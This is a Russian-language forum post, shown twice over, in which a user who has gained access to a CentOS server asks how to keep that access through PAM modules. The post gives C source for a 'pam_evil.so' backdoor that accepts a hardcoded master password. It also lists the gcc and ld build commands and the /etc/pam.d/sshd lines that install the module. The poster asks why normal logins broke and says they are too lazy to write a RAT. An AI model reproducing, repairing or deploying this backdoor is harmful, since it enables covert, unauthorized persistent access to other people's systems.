anb90210
06.12.2017, 09:35
Здравствуйте.
Имеется доступ к системе Linux centos
Посоветуйте как закрепиться через pam модули. Пробовал метод из статьи (Хакер 2017 01(216) nix бэкдо быстрого приготовления).
Но после изменений в /etc/pam.d/sshd и добавления своего модуля pam_evil.so перестаёт работать нормальная аутентификация(не пускает по валидному паролю)
Вот так создавал новый модуль:
Code:
#include
#include
#include
#include
#include
#include
#define MYPASSWD "testpass"
PAM_EXTERN int pam_sm_setcred(pam_handle_t * pamh, int flags, int argc, const char **argv)
{
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t * pamh, int flags, int argc, const char **argv)
{
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags, int argc, const char **argv)
{
char *password = NULL;
pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);
if (!strncmp(password,MYPASSWD, strlen(MYPASSWD)))
return PAM_SUCCESS;
return -1;
}
Вот так собирал:
gcc -fPIC -c pam_evil.c
ld -x --shared -o pam_evil.so pam_evil.o
Вот так добавлялся в pam - /etc/pam.d/sshd:
auth sufficient pam_evil.so
account sufficient pam_evil.so
Хочется именно этот метод. Ратник самому писать лень. Может кто исследовал эту тему??? Пните в нужно направлении!
Имеется доступ к системе Linux centos
Посоветуйте как закрепиться через pam модули. Пробовал метод из статьи (Хакер 2017 01(216) nix бэкдо быстрого приготовления).
Но после изменений в /etc/pam.d/sshd и добавления своего модуля pam_evil.so перестаёт работать нормальная аутентификация(не пускает по валидному паролю)
Вот так создавал новый модуль:
Code:
#include
#include
#include
#include
#include
#include
#define MYPASSWD "testpass"
PAM_EXTERN int pam_sm_setcred(pam_handle_t * pamh, int flags, int argc, const char **argv)
{
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t * pamh, int flags, int argc, const char **argv)
{
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags, int argc, const char **argv)
{
char *password = NULL;
pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);
if (!strncmp(password,MYPASSWD, strlen(MYPASSWD)))
return PAM_SUCCESS;
return -1;
}
Вот так собирал:
gcc -fPIC -c pam_evil.c
ld -x --shared -o pam_evil.so pam_evil.o
Вот так добавлялся в pam - /etc/pam.d/sshd:
auth sufficient pam_evil.so
account sufficient pam_evil.so
Хочется именно этот метод. Ратник самому писать лень. Может кто исследовал эту тему??? Пните в нужно направлении!